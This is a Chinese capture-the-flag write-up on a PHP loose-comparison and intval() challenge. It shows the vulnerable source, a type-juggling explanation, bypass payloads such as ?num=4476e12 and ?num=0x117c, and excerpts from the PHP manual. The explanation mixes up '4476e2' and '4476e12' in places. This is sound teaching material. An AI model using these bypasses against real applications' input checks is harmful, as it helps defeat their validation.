ApachePHP/5.4.45php版本弱比较intval()

0x01 源码

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. if(isset($_GET['num'])){
  5. $num = $_GET['num'];
  6. if($num==4476){
  7. die("no no no!");
  8. }
  9. if(intval($num,0)==4476){
  10. echo $flag;
  11. }else{
  12. echo intval($num,0);
  13. }
  14. }

传入num=”4476e2”,”4476e2”与4476的比较是string和int的弱比较,4476e2!=4476,即447600!=4476从而返回0。接着intval($num,0),在”4476e12”中首先取4476,遇到e为字符,字符及字符后面的都忽略。因此intval(“4476e12”,0)返回4476。

  1. <?php
  2. $test=intval("4476e12",0) //test=4476
  3. $test=intval("e123",0) //test=0
  4. $test=intval("4476.123",0) //test=4476
  5. $test=intval("4476abc10",0) //test=4476

0x02 Payload

  1. ?num=4476.
  2. ?num=4476e12
  3. ?num=0x117c //php>7

0x03 php版本不同导致弱类型比较结果不同

image.png
image.png

0x04 PHP函数

1.intval

intval — 获取变量的整数值

  1. intval ( mixed $var [, int $base = 10 ] ) : int

参数

var
要转换成 integer 的数量值
base
转化所使用的进制

Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

返回值

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。
字符串有可能返回 0,取决于字符串最左侧的字符。 使用 整型转换 的共同规则。

  1. <?php
  2. $foo = 1 + "10.5"; // $foo is float (11.5)
  3. $foo = 1 + "-1.3e3"; // $foo is float (-1299.0)
  4. $foo = 1 + "bob-1.3e3"; // $foo is integer (1)
  5. $foo = 1 + "bob3"; // $foo is integer (1)
  6. $foo = 1 + "10 Small Pigs"; // $foo is integer (11)
  7. $foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)
  8. $foo = "10.0 pigs " + 1; // $foo is float (11.0)
  9. $foo = "10.0 pigs " + 1.0; // $foo is float (11.0)